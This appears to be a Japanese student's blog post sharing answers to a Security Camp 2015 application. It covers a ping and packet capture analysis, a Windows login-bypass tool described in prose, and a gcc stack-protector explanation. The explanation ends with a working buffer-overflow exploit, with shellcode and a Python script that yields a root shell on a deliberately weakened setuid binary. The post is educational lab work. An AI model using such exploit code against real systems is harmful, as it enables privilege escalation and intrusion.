セキュリティ・キャンプ全国大会2015の応募用紙

セキュリティ・キャンプに参加することになりました!
色々とアドバイスして下さった方々、本当にありがとうございます

テンションが上がっている内に応募用紙について書いておこうと思います
(落ち着いた時にツラいかもしれないけど…)


他の方の応募用紙を見ると、僕の考えが全然合ってなかったりすることがあってツラいのですが、僕的に出来る限り手を動かして書いたつもりです

合ってるか合ってないかは分かりませんが、取り敢えず僕はこうやって書いたってことで…






共通問題1

セキュリティ・キャンプに応募した自分なりの理由とセキュリティ・キャンプで学んだことを何に役立てたいかを教えてください。
元々ゲームが作りたくてプログラミングを勉強したこと
ゲームの不正利用が話題になってアンチデバッグ技術に興味を持ったこと
自分なりに勉強してきたが、もっと広く深い知識を身に付けたい
こんな感じのことを書きました

共通問題2

セキュリティに関することで、過去に自分が経験したことや、ニュースなどで知ったことの中から、最も印象に残っていることを教えてください。また、その印象に残った理由も教えてください。
Stuxnetについて、めっちゃ怖いなーってことを書きました

共通問題3

その他に自己アピールしたいことがあれば自由に書いてください。(たとえば、あなたが希望する講座を受講する上で、どのような技術力を持っているか、部活動、技術ブログ、GitHub、ソフトウェア開発、プログラミングコンテスト、勉強会での発表・運営などの実績や熱意があれば、あるだけ書いてください。)
ブログとかGitHubとか、今までやってきた勉強会とか大会のリンクをバーっと書きました






選択問題3

過去に作成したプログラムのうち最も気に入っているものについて答えてください。
ここでいうプログラムは、Webサービスやモバイルアプリ、サーバ/デスクトップアプリケーションあるいはOS、VMなどといったソフトウェア全般のことです。
(1)どのようなソフトウェアであるかを教えてください
(2)何の目的のためにそれを作ろうと思ったのか、理由を教えてください
(3)開発するにあたって工夫したところを教えてください
(4)新たな課題、今後勉強してみたいと思っている内容を書いてください
(1)どのようなソフトウェアであるかを教えてください
AppInit_DLLsを利用してログイン画面上でプログラムを起動し, 接続されたUSBのiSerialNumberが設定されたものと一致しているかどうかを判別し, 一致していればパスワード認証処理をバイパスしログインするプログラム
http://kkrnt.hatenablog.com/entry/2014/12/09/223406

(2)何の目的のためにそれを作ろうと思ったのか、理由を教えてください

色々マズイので省略

ログイン画面上で任意のプログラムを実行し, 加えてユーザ認証処理を行っている(ように見える)プログラムをどうやったら作成出来るのか気になったから
またそのプログラムはIDとパスワードだったが, 他にどのような手段でログインすればよりインタラクティブでセキュアなものなのか, 自分で実際に組んでみたかったから

(3)開発するにあたって工夫したところを教えてください
ログイン画面上でプログラムが動作するようにAppInit_DLLsを利用して, Windowsが立ち上がった時点で, ユーザの特別な操作は必要なく, 任意のプログラムを起動させられるようにしたところ
また, ログインに必要な情報(ここでは特にパスワード)を暗号化した形でもデータとして保存することに非常に抵抗があったため, パスワード認証処理をバイパスするようにしているところ

(4)新たな課題、今後勉強してみたいと思っている内容を書いてください
パスワード認証処理をバイパスする処理はIEEE1394の脆弱性のPoCであるscreen_unlock.rbを参考にしているが, 対応しているmsv1_0.dllは少なく, 最近のWindowsでは動作しないので, それらのmsv1_0.dllを解析するか, 他の方法でどうにかしなければいけないことが課題
そのためにもmsv1_0.dllなどに関してを32/64bit両方で詳細な解析を行えるように勉強したい
またログイン画面で任意のプログラムを実行する手段としてAppInit_DLLsを利用しているが, 最近のWindowsで動作させるには署名などのハードルが存在し, それらをどうにかするか, 或いは固定キー機能などを利用するなどの他の手段を考えるか, 課題である
加えて, USBのiSerialNumberで識別する以外で, よりインタラクティブでセキュアな方法を模索したい


選択問題4

通信やプロトコルに関する問題です。次の1-3の問いに回答してください。ただし3は任意とします。
(1)インターネット上で自分が興味を持ったサイト(又はホスト)を見つけ、 自分の端末からそのサイトへ ping を打ちなさい。その結果とそのサイトに興味を持った理由を記述してください
(2)自分の端末から1のサイトの間のネットワーク通信が、技術的にどのような仕組みで何が行われているのか考察して記述してください(使用する通信は ping に限定しません)
(3)可能であれば、自分の端末から1のサイトの間で、どのようなプロトコルを使ってどういったサービスが実現できているのか、また将来どんな事が実現できれば良いだろうか、考察して記述してください
(1)インターネット上で自分が興味を持ったサイト(又はホスト)を見つけ、 自分の端末からそのサイトへ ping を打ちなさい。その結果とそのサイトに興味を持った理由を記述してください
pingを飛ばす際, パッと思いついたのがgoogle-public-dns-a.google.comだった
日常的ではないが, 何度も利用しているDNSだし, 何となくpingに応答してくれそうだなと思ったので, pingを飛ばしてみた

[kkrnt@arckty ~]$ ping google-public-dns-a.google.com -c 4
PING google-public-dns-a.google.com (8.8.8.8) 56(84) bytes of data.
64 bytes from google-public-dns-a.google.com (8.8.8.8): icmp_seq=1 ttl=52 time=11.2 ms
64 bytes from google-public-dns-a.google.com (8.8.8.8): icmp_seq=2 ttl=52 time=15.1 ms
64 bytes from google-public-dns-a.google.com (8.8.8.8): icmp_seq=3 ttl=52 time=20.2 ms
64 bytes from google-public-dns-a.google.com (8.8.8.8): icmp_seq=4 ttl=52 time=12.6 ms

--- google-public-dns-a.google.com ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 11.294/14.814/20.211/3.411 ms

その際のパケットは以下のようになっていた

[root@arckty kkrnt]# tcpdump icmp -X
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on enp0s3, link-type EN10MB (Ethernet), capture size 262144 bytes
22:37:54.510682 IP arckty.org > google-public-dns-a.google.com: ICMP echo request, id 2620, seq 1, length 64
	0x0000:  4500 0054 f519 4000 4001 2971 0a00 020f  E..T..@.@.)q....
	0x0010:  0808 0808 0800 a711 0a3c 0001 32be 8655  .........<..2..U
	0x0020:  0000 0000 c7ca 0700 0000 0000 1011 1213  ................
	0x0030:  1415 1617 1819 1a1b 1c1d 1e1f 2021 2223  .............!"#
	0x0040:  2425 2627 2829 2a2b 2c2d 2e2f 3031 3233  $%&'()*+,-./0123
	0x0050:  3435 3637                                4567
22:37:54.524948 IP google-public-dns-a.google.com > arckty.org: ICMP echo reply, id 2620, seq 1, length 64
	0x0000:  4500 0054 a4bf 0000 3401 c5cb 0808 0808  E..T....4.......
	0x0010:  0a00 020f 0000 af11 0a3c 0001 32be 8655  .........<..2..U
	0x0020:  0000 0000 c7ca 0700 0000 0000 1011 1213  ................
	0x0030:  1415 1617 1819 1a1b 1c1d 1e1f 2021 2223  .............!"#
	0x0040:  2425 2627 2829 2a2b 2c2d 2e2f 3031 3233  $%&'()*+,-./0123
	0x0050:  3435 3637                                4567
22:37:55.511780 IP arckty.org > google-public-dns-a.google.com: ICMP echo request, id 2620, seq 2, length 64
	0x0000:  4500 0054 f5a6 4000 4001 28e4 0a00 020f  E..T..@.@.(.....
	0x0010:  0808 0808 0800 5a0c 0a3c 0002 33be 8655  ......Z..<..3..U
	0x0020:  0000 0000 13cf 0700 0000 0000 1011 1213  ................
	0x0030:  1415 1617 1819 1a1b 1c1d 1e1f 2021 2223  .............!"#
	0x0040:  2425 2627 2829 2a2b 2c2d 2e2f 3031 3233  $%&'()*+,-./0123
	0x0050:  3435 3637                                4567
22:37:55.525002 IP google-public-dns-a.google.com > arckty.org: ICMP echo reply, id 2620, seq 2, length 64
	0x0000:  4500 0054 a722 0000 3401 c368 0808 0808  E..T."..4..h....
	0x0010:  0a00 020f 0000 620c 0a3c 0002 33be 8655  ......b..<..3..U
	0x0020:  0000 0000 13cf 0700 0000 0000 1011 1213  ................
	0x0030:  1415 1617 1819 1a1b 1c1d 1e1f 2021 2223  .............!"#
	0x0040:  2425 2627 2829 2a2b 2c2d 2e2f 3031 3233  $%&'()*+,-./0123
	0x0050:  3435 3637                                4567
22:37:56.513273 IP arckty.org > google-public-dns-a.google.com: ICMP echo request, id 2620, seq 3, length 64
	0x0000:  4500 0054 f83a 4000 4001 2650 0a00 020f  E..T.:@.@.&P....
	0x0010:  0808 0808 0800 8b05 0a3c 0003 34be 8655  .........<..4..U
	0x0020:  0000 0000 e1d4 0700 0000 0000 1011 1213  ................
	0x0030:  1415 1617 1819 1a1b 1c1d 1e1f 2021 2223  .............!"#
	0x0040:  2425 2627 2829 2a2b 2c2d 2e2f 3031 3233  $%&'()*+,-./0123
	0x0050:  3435 3637                                4567
22:37:56.612331 IP google-public-dns-a.google.com > arckty.org: ICMP echo reply, id 2620, seq 3, length 64
	0x0000:  4500 0054 aa6b 0000 3401 c01f 0808 0808  E..T.k..4.......
	0x0010:  0a00 020f 0000 9305 0a3c 0003 34be 8655  .........<..4..U
	0x0020:  0000 0000 e1d4 0700 0000 0000 1011 1213  ................
	0x0030:  1415 1617 1819 1a1b 1c1d 1e1f 2021 2223  .............!"#
	0x0040:  2425 2627 2829 2a2b 2c2d 2e2f 3031 3233  $%&'()*+,-./0123
	0x0050:  3435 3637                                4567
22:37:57.514207 IP arckty.org > google-public-dns-a.google.com: ICMP echo request, id 2620, seq 4, length 64
	0x0000:  4500 0054 fae3 4000 4001 23a7 0a00 020f  E..T..@.@.#.....
	0x0010:  0808 0808 0800 f900 0a3c 0004 35be 8655  .........<..5..U
	0x0020:  0000 0000 72d8 0700 0000 0000 1011 1213  ....r...........
	0x0030:  1415 1617 1819 1a1b 1c1d 1e1f 2021 2223  .............!"#
	0x0040:  2425 2627 2829 2a2b 2c2d 2e2f 3031 3233  $%&'()*+,-./0123
	0x0050:  3435 3637                                4567
22:37:57.534949 IP google-public-dns-a.google.com > arckty.org: ICMP echo reply, id 2620, seq 4, length 64
	0x0000:  4500 0054 ab60 0000 3401 bf2a 0808 0808  E..T.`..4..*....
	0x0010:  0a00 020f 0000 0101 0a3c 0004 35be 8655  .........<..5..U
	0x0020:  0000 0000 72d8 0700 0000 0000 1011 1213  ....r...........
	0x0030:  1415 1617 1819 1a1b 1c1d 1e1f 2021 2223  .............!"#
	0x0040:  2425 2627 2829 2a2b 2c2d 2e2f 3031 3233  $%&'()*+,-./0123
	0x0050:  3435 3637                                4567
^C
8 packets captured
8 packets received by filter
0 packets dropped by kernel

0x10から0x37までの40Bytesをecho requestとしてgoogle-public-dns-a.google.comに送信し, echo replyとして同じデータが返ってきているようだ

(2)自分の端末から1のサイトの間のネットワーク通信が、技術的にどのような仕組みで何が行われているのか考察して記述してください(使用する通信は ping に限定しません)
ping google-public-dns-a.google.com -c 4が行われたときの通信について考えてみる
まずgoogle-public-dns-a.google.comのIPAddressをDNSに問い合わせる

(1)のときは以下のようになっていた
00000000  22 04 01 00 00 01 00 00  00 00 00 00 13 67 6f 6f "....... .....goo
00000010  67 6c 65 2d 70 75 62 6c  69 63 2d 64 6e 73 2d 61 gle-publ ic-dns-a
00000020  06 67 6f 6f 67 6c 65 03  63 6f 6d 00 00 01 00 01 .google. com.....

00000000  22 04 81 80 00 01 00 01  00 04 00 04 13 67 6f 6f "....... .....goo
00000010  67 6c 65 2d 70 75 62 6c  69 63 2d 64 6e 73 2d 61 gle-publ ic-dns-a
00000020  06 67 6f 6f 67 6c 65 03  63 6f 6d 00 00 01 00 01 .google. com.....
00000030  c0 0c 00 01 00 01 00 00  f5 53 00 04 08 08 08 08 ........ .S......
00000040  c0 20 00 02 00 01 00 00  f4 47 00 06 03 6e 73 32 . ...... .G...ns2
00000050  c0 20 c0 20 00 02 00 01  00 00 f4 47 00 06 03 6e . . .... ...G...n
00000060  73 34 c0 20 c0 20 00 02  00 01 00 00 f4 47 00 06 s4. . .. .....G..
00000070  03 6e 73 33 c0 20 c0 20  00 02 00 01 00 00 f4 47 .ns3. .  .......G
00000080  00 06 03 6e 73 31 c0 20  c0 82 00 01 00 01 00 00 ...ns1.  ........
00000090  f6 be 00 04 d8 ef 20 0a  c0 4c 00 01 00 01 00 00 ...... . .L......
000000A0  f4 ef 00 04 d8 ef 22 0a  c0 70 00 01 00 01 00 00 ......". .p......
000000B0  f6 be 00 04 d8 ef 24 0a  c0 5e 00 01 00 01 00 00 ......$. .^......
000000C0  f4 ef 00 04 d8 ef 26 0a  ......&. 

DNSからgoogle-public-dns-a.google.comのIPAddress, つまり8.8.8.8が返ってきたらecho requestを作成し, 8.8.8.8に対して送信する
(その前に経路探索を行っている?)
echo requestが8.8.8.8に到達した場合, 8.8.8.8も送信元のIPに対してecho replyを送信する
この間送信元では応答時間などを計測していて, その結果をコンソール等に表示する

(3)可能であれば、自分の端末から1のサイトの間で、どのようなプロトコルを使ってどういったサービスが実現できているのか、また将来どんな事が実現できれば良いだろうか、考察して記述してください
ホスト名からIPAddressを得るためにDNSが利用されている
また, ping自体のプロトコルとしてICMPが利用されている


選択問題8

gccが持つ-fno-stack-protectorは、どのようなセキュリティ機能を無効にするオプションであるのか、またこの機能により、どういった脆弱性からソフトウェアを守れるのかをそれぞれ記述してください。
manでGCCのオプションについて調べてみると

       -fstack-protector
           Emit extra code to check for buffer overflows, such as stack smashing attacks.  This is done by adding
           a guard variable to functions with vulnerable objects.  This includes functions that call alloca, and
           functions with buffers larger than 8 bytes.  The guards are initialized when a function is entered and
           then checked when the function exits.  If a guard check fails, an error message is printed and the
           program exits.

           NOTE: In Ubuntu 6.10 and later versions this option is enabled by default for C, C++, ObjC, ObjC++, if
           none of -fno-stack-protector, -nostdlib, nor -ffreestanding are found.

と出てきた

つまり-fstack-protectorを無効にするために指定するオプションである
Ubuntu 6.10以降はデフォルトで-fstack-protectorが指定されているらしい


-fstack-protectorとは何なのか調べてみると、スタック上の変数のあふれによって生じた関数のリターンアドレスの変更を検知するStack-Smashing Protection(SSP)を有効にするためのオプションであることがわかった
(参考:http://www.ipa.go.jp/security/awareness/vendor/programmingv2/contents/c905.html)



原理としては

----------------------
ローカル変数
----------------------
ebp退避領域
----------------------
関数のリターンアドレス
----------------------

となっている部分を

----------------------
ローカル変数
----------------------
カナリア
----------------------
ebp退避領域
----------------------
関数のリターンアドレス
----------------------

とすることでカナリア部分が書き換わっているかどうかで判断する



実際の動作を調べるために-fstack-protectorを指定した(つまりデフォルト)場合と-fno-stack-protectorを指定した場合のプログラムを見比べてみる



環境は以下のとおり
kkrnt@o8o:~$ lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 12.04.1 LTS
Release:	12.04
Codename:	precise




まずは-fstack-protectorが有効な場合


kkrnt@o8o:~$ cat ./prog.c 
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[64] = {};
    strcpy(buf, argv[1]);
    puts(buf);
    return 0;
}
kkrnt@o8o:~$ gcc ./prog.c 
kkrnt@o8o:~$ ./a.out hoge
hoge


objdumpで逆アセンブルした結果を見てみると
kkrnt@o8o:~$ objdump -d ./a.out
...
...省略...
...
08048464 <main>:
 8048464:	55                   	push   %ebp
 8048465:	89 e5                	mov    %esp,%ebp
 8048467:	57                   	push   %edi
 8048468:	53                   	push   %ebx
 8048469:	83 e4 f0             	and    $0xfffffff0,%esp
 804846c:	83 ec 70             	sub    $0x70,%esp
 804846f:	8b 45 0c             	mov    0xc(%ebp),%eax
 8048472:	89 44 24 1c          	mov    %eax,0x1c(%esp)
 8048476:	65 a1 14 00 00 00    	mov    %gs:0x14,%eax
 804847c:	89 44 24 6c          	mov    %eax,0x6c(%esp)
 8048480:	31 c0                	xor    %eax,%eax
 8048482:	8d 5c 24 2c          	lea    0x2c(%esp),%ebx
 8048486:	b8 00 00 00 00       	mov    $0x0,%eax
 804848b:	ba 10 00 00 00       	mov    $0x10,%edx
 8048490:	89 df                	mov    %ebx,%edi
 8048492:	89 d1                	mov    %edx,%ecx
 8048494:	f3 ab                	rep stos %eax,%es:(%edi)
 8048496:	8b 44 24 1c          	mov    0x1c(%esp),%eax
 804849a:	83 c0 04             	add    $0x4,%eax
 804849d:	8b 00                	mov    (%eax),%eax
 804849f:	89 44 24 04          	mov    %eax,0x4(%esp)
 80484a3:	8d 44 24 2c          	lea    0x2c(%esp),%eax
 80484a7:	89 04 24             	mov    %eax,(%esp)
 80484aa:	e8 c1 fe ff ff       	call   8048370 <strcpy@plt>
 80484af:	8d 44 24 2c          	lea    0x2c(%esp),%eax
 80484b3:	89 04 24             	mov    %eax,(%esp)
 80484b6:	e8 c5 fe ff ff       	call   8048380 <puts@plt>
 80484bb:	b8 00 00 00 00       	mov    $0x0,%eax
 80484c0:	8b 54 24 6c          	mov    0x6c(%esp),%edx
 80484c4:	65 33 15 14 00 00 00 	xor    %gs:0x14,%edx
 80484cb:	74 05                	je     80484d2 <main+0x6e>
 80484cd:	e8 8e fe ff ff       	call   8048360 <__stack_chk_fail@plt>
 80484d2:	8d 65 f8             	lea    -0x8(%ebp),%esp
 80484d5:	5b                   	pop    %ebx
 80484d6:	5f                   	pop    %edi
 80484d7:	5d                   	pop    %ebp
 80484d8:	c3                   	ret    
...
...省略...
...


puts()の後に__stack_chk_fail()が呼ばれていることが分かる


試しに64Bytesより多くの値を渡してみると
kkrnt@o8o:~$ ./a.out $(python -c 'print "x"*65')
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
*** stack smashing detected ***: ./a.out terminated
======= Backtrace: =========
/lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0xb7f25dd5]
/lib/i386-linux-gnu/libc.so.6(+0xffd8a)[0xb7f25d8a]
./a.out[0x80484d2]
/lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0xb7e3f4d3]
./a.out[0x80483d1]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 921134     /home/kkrnt/a.out
08049000-0804a000 r--p 00000000 08:01 921134     /home/kkrnt/a.out
0804a000-0804b000 rw-p 00001000 08:01 921134     /home/kkrnt/a.out
0804b000-0806c000 rw-p 00000000 00:00 0          [heap]
b7df7000-b7e13000 r-xp 00000000 08:01 263096     /lib/i386-linux-gnu/libgcc_s.so.1
b7e13000-b7e14000 r--p 0001b000 08:01 263096     /lib/i386-linux-gnu/libgcc_s.so.1
b7e14000-b7e15000 rw-p 0001c000 08:01 263096     /lib/i386-linux-gnu/libgcc_s.so.1
b7e25000-b7e26000 rw-p 00000000 00:00 0 
b7e26000-b7fc5000 r-xp 00000000 08:01 263075     /lib/i386-linux-gnu/libc-2.15.so
b7fc5000-b7fc7000 r--p 0019f000 08:01 263075     /lib/i386-linux-gnu/libc-2.15.so
b7fc7000-b7fc8000 rw-p 001a1000 08:01 263075     /lib/i386-linux-gnu/libc-2.15.so
b7fc8000-b7fcb000 rw-p 00000000 00:00 0 
b7fd9000-b7fdd000 rw-p 00000000 00:00 0 
b7fdd000-b7fde000 r-xp 00000000 00:00 0          [vdso]
b7fde000-b7ffe000 r-xp 00000000 08:01 263055     /lib/i386-linux-gnu/ld-2.15.so
b7ffe000-b7fff000 r--p 0001f000 08:01 263055     /lib/i386-linux-gnu/ld-2.15.so
b7fff000-b8000000 rw-p 00020000 08:01 263055     /lib/i386-linux-gnu/ld-2.15.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
中止 (コアダンプ)


このようにエラーを吐いた




カナリアについて調べてみる

kkrnt@o8o:~$ gdb -q a.out
Reading symbols from /home/kkrnt/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x08048464 <+0>:	push   ebp
   0x08048465 <+1>:	mov    ebp,esp
   0x08048467 <+3>:	push   edi
   0x08048468 <+4>:	push   ebx
   0x08048469 <+5>:	and    esp,0xfffffff0
   0x0804846c <+8>:	sub    esp,0x70
   0x0804846f <+11>:	mov    eax,DWORD PTR [ebp+0xc]
   0x08048472 <+14>:	mov    DWORD PTR [esp+0x1c],eax
   0x08048476 <+18>:	mov    eax,gs:0x14
   0x0804847c <+24>:	mov    DWORD PTR [esp+0x6c],eax
   0x08048480 <+28>:	xor    eax,eax
   0x08048482 <+30>:	lea    ebx,[esp+0x2c]
   0x08048486 <+34>:	mov    eax,0x0
   0x0804848b <+39>:	mov    edx,0x10
   0x08048490 <+44>:	mov    edi,ebx
   0x08048492 <+46>:	mov    ecx,edx
   0x08048494 <+48>:	rep stos DWORD PTR es:[edi],eax
   0x08048496 <+50>:	mov    eax,DWORD PTR [esp+0x1c]
   0x0804849a <+54>:	add    eax,0x4
   0x0804849d <+57>:	mov    eax,DWORD PTR [eax]
   0x0804849f <+59>:	mov    DWORD PTR [esp+0x4],eax
   0x080484a3 <+63>:	lea    eax,[esp+0x2c]
   0x080484a7 <+67>:	mov    DWORD PTR [esp],eax
   0x080484aa <+70>:	call   0x8048370 <strcpy@plt>
   0x080484af <+75>:	lea    eax,[esp+0x2c]
   0x080484b3 <+79>:	mov    DWORD PTR [esp],eax
   0x080484b6 <+82>:	call   0x8048380 <puts@plt>
   0x080484bb <+87>:	mov    eax,0x0
   0x080484c0 <+92>:	mov    edx,DWORD PTR [esp+0x6c]
   0x080484c4 <+96>:	xor    edx,DWORD PTR gs:0x14
   0x080484cb <+103>:	je     0x80484d2 <main+110>
   0x080484cd <+105>:	call   0x8048360 <__stack_chk_fail@plt>
   0x080484d2 <+110>:	lea    esp,[ebp-0x8]
   0x080484d5 <+113>:	pop    ebx
   0x080484d6 <+114>:	pop    edi
   0x080484d7 <+115>:	pop    ebp
   0x080484d8 <+116>:	ret    
End of assembler dump.
(gdb) b *0x80484d2
Breakpoint 1 at 0x80484d2
(gdb) run xxxx
Starting program: /home/kkrnt/a.out xxxx
xxxx

Breakpoint 1, 0x080484d2 in main ()
(gdb) i r esp
esp            0xbffff2c0	0xbffff2c0
(gdb) i r ebp
ebp            0xbffff338	0xbffff338
(gdb) x/60wx $esp
0xbffff2c0:	0xbffff2ec	0xbffff55d	0x00000000	0xb7e59053
0xbffff2d0:	0x08048282	0x00000000	0x00c10000	0xbffff3d4
0xbffff2e0:	0xbffff54b	0x0000002f	0xbffff33c	0x78787878
0xbffff2f0:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffff300:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffff310:	0x00000000	0x00000000	0x00000000	0x00000000
0xbffff320:	0x00000000	0x00000000	0x00000000	0x99904000
0xbffff330:	0xb7fc6ff4	0x00000000	0x00000000	0xb7e3f4d3
0xbffff340:	0x00000002	0xbffff3d4	0xbffff3e0	0xb7fdc858
0xbffff350:	0x00000000	0xbffff31c	0xbffff3e0	0x00000000
0xbffff360:	0x0804823c	0xb7fc6ff4	0x00000000	0x00000000
0xbffff370:	0x00000000	0xf7cf4c12	0xcfc0e802	0x00000000
0xbffff380:	0x00000000	0x00000000	0x00000002	0x080483b0
0xbffff390:	0x00000000	0xb7ff26a0	0xb7e3f3e9	0xb7ffeff4
0xbffff3a0:	0x00000002	0x080483b0	0x00000000	0x080483d1
(gdb) x/xw 0xb7e3f4d3
0xb7e3f4d3 <__libc_start_main+243>:	0xe8240489
(gdb) x/2s *0xbffff3d4
0xbffff54b:	 "/home/kkrnt/a.out"
0xbffff55d:	 "xxxx"
(gdb) x/4s *0xbffff3e0
0xbffff562:	 "SSH_AGENT_PID=1666"
0xbffff575:	 "GPG_AGENT_INFO=/tmp/keyring-uOpMZ4/gpg:0:1"
0xbffff5a0:	 "SHELL=/bin/bash"
0xbffff5b0:	 "TERM=xterm"


これらのことから
----------------
esp
0xbffff2ec	0xbffff55d	0x00000000	0xb7e59053
0x08048282	0x00000000	0x00c10000	0xbffff3d4
0xbffff54b	0x0000002f	0xbffff33c
----------------
buf
0x78787878
0x00000000	0x00000000	0x00000000	0x00000000
0x00000000	0x00000000	0x00000000	0x00000000
0x00000000	0x00000000	0x00000000	0x00000000
0x00000000	0x00000000	0x00000000
----------------
カナリア
0x99904000
0xb7fc6ff4
0x00000000
----------------
ebp退避領域
0x00000000
----------------
関数のリターンアドレス
0xb7e3f4d3
----------------
argc
0x00000002
----------------
*argv[]
0xbffff3d4
----------------
*envp[]
0xbffff3e0

となっていることが分かる






次に-fno-stack-protectorが指定されている場合を見てみる

kkrnt@o8o:~$ cat ./prog.c 
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[64] = {};
    strcpy(buf, argv[1]);
    puts(buf);
    return 0;
}
kkrnt@o8o:~$ gcc -fno-stack-protector prog.c 
kkrnt@o8o:~$ ./a.out hoge
hoge


同じように逆アセンブルした結果を見てみる
kkrnt@o8o:~$ objdump -d ./a.out
...
...省略
...
08048414 <main>:
 8048414:	55                   	push   %ebp
 8048415:	89 e5                	mov    %esp,%ebp
 8048417:	57                   	push   %edi
 8048418:	53                   	push   %ebx
 8048419:	83 e4 f0             	and    $0xfffffff0,%esp
 804841c:	83 ec 50             	sub    $0x50,%esp
 804841f:	8d 5c 24 10          	lea    0x10(%esp),%ebx
 8048423:	b8 00 00 00 00       	mov    $0x0,%eax
 8048428:	ba 10 00 00 00       	mov    $0x10,%edx
 804842d:	89 df                	mov    %ebx,%edi
 804842f:	89 d1                	mov    %edx,%ecx
 8048431:	f3 ab                	rep stos %eax,%es:(%edi)
 8048433:	8b 45 0c             	mov    0xc(%ebp),%eax
 8048436:	83 c0 04             	add    $0x4,%eax
 8048439:	8b 00                	mov    (%eax),%eax
 804843b:	89 44 24 04          	mov    %eax,0x4(%esp)
 804843f:	8d 44 24 10          	lea    0x10(%esp),%eax
 8048443:	89 04 24             	mov    %eax,(%esp)
 8048446:	e8 d5 fe ff ff       	call   8048320 <strcpy@plt>
 804844b:	8d 44 24 10          	lea    0x10(%esp),%eax
 804844f:	89 04 24             	mov    %eax,(%esp)
 8048452:	e8 d9 fe ff ff       	call   8048330 <puts@plt>
 8048457:	b8 00 00 00 00       	mov    $0x0,%eax
 804845c:	8d 65 f8             	lea    -0x8(%ebp),%esp
 804845f:	5b                   	pop    %ebx
 8048460:	5f                   	pop    %edi
 8048461:	5d                   	pop    %ebp
 8048462:	c3                   	ret    
...
...省略...
...


puts()の後に__stack_chk_fail()が呼ばれていないため64Bytesより多い値を与えてもエラーを吐かない
kkrnt@o8o:~$ ./a.out $(python -c 'print "x"*65')
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx






試しにASLRと-fstack-protectorとDEPを無効化しsuidを付け、rootを奪取するexploitコードを実行してみる






kkrnt@o8o:~$ id
uid=1000(kkrnt) gid=1000(kkrnt) groups=1000(kkrnt),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
kkrnt@o8o:~$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
kkrnt@o8o:~$ gcc -fno-stack-protector -z execstack prog.c 
kkrnt@o8o:~$ sudo chown root a.out && sudo chmod u+s a.out
kkrnt@o8o:~$ gdb -q ./a.out 
Reading symbols from /home/kkrnt/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x08048414 <+0>:	push   ebp
   0x08048415 <+1>:	mov    ebp,esp
   0x08048417 <+3>:	push   edi
   0x08048418 <+4>:	push   ebx
   0x08048419 <+5>:	and    esp,0xfffffff0
   0x0804841c <+8>:	sub    esp,0x50
   0x0804841f <+11>:	lea    ebx,[esp+0x10]
   0x08048423 <+15>:	mov    eax,0x0
   0x08048428 <+20>:	mov    edx,0x10
   0x0804842d <+25>:	mov    edi,ebx
   0x0804842f <+27>:	mov    ecx,edx
   0x08048431 <+29>:	rep stos DWORD PTR es:[edi],eax
   0x08048433 <+31>:	mov    eax,DWORD PTR [ebp+0xc]
   0x08048436 <+34>:	add    eax,0x4
   0x08048439 <+37>:	mov    eax,DWORD PTR [eax]
   0x0804843b <+39>:	mov    DWORD PTR [esp+0x4],eax
   0x0804843f <+43>:	lea    eax,[esp+0x10]
   0x08048443 <+47>:	mov    DWORD PTR [esp],eax
   0x08048446 <+50>:	call   0x8048320 <strcpy@plt>
   0x0804844b <+55>:	lea    eax,[esp+0x10]
   0x0804844f <+59>:	mov    DWORD PTR [esp],eax
   0x08048452 <+62>:	call   0x8048330 <puts@plt>
   0x08048457 <+67>:	mov    eax,0x0
   0x0804845c <+72>:	lea    esp,[ebp-0x8]
   0x0804845f <+75>:	pop    ebx
   0x08048460 <+76>:	pop    edi
   0x08048461 <+77>:	pop    ebp
   0x08048462 <+78>:	ret    
End of assembler dump.
(gdb) b *main+62
Breakpoint 1 at 0x8048452
(gdb) run xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Starting program: /home/kkrnt/a.out xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

Breakpoint 1, 0x08048452 in main ()
(gdb) i r eax
eax            0xbffff2d0	-1073745200
(gdb) x/xw 0xbffff2d0
0xbffff2d0:	0x78787878
(gdb) q
A debugging session is active.

	Inferior 1 [process 2760] will be killed.

Quit anyway? (y or n) y

kkrnt@o8o:~$ cat ./exp.py 
import sys
import struct
from subprocess import Popen

shellcode = "\x31\xdb\x8d\x43\x17\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"
buf = shellcode + 'x' * (64 - len(shellcode)) + 'xxxxxxxxxxxx' + struct.pack('<I', 3221222096)

p = Popen(['./a.out', buf])
p.wait()

kkrnt@o8o:~$ python ./exp.py 
1ۍC̀1�Rh//shh/bin��RS���B
                        xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx����
# id
uid=0(root) gid=1000(kkrnt) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare),1000(kkrnt)
# exit



以上のようにrootを奪取することが出来た


これらのことから-fstack-protectorが有効ではない(-fno-stack-protectorが有効)場合はスタックがあふれてもエラーが出ない、よって関数のリターンアドレスを書き換えることで任意のコードが実行されることが検知出来ない


ちなみに、Visual Studioの場合は/GSオプションという-fstack-protectorのようにバッファオーバーランを検知するためのオプションが存在する


選択問題10

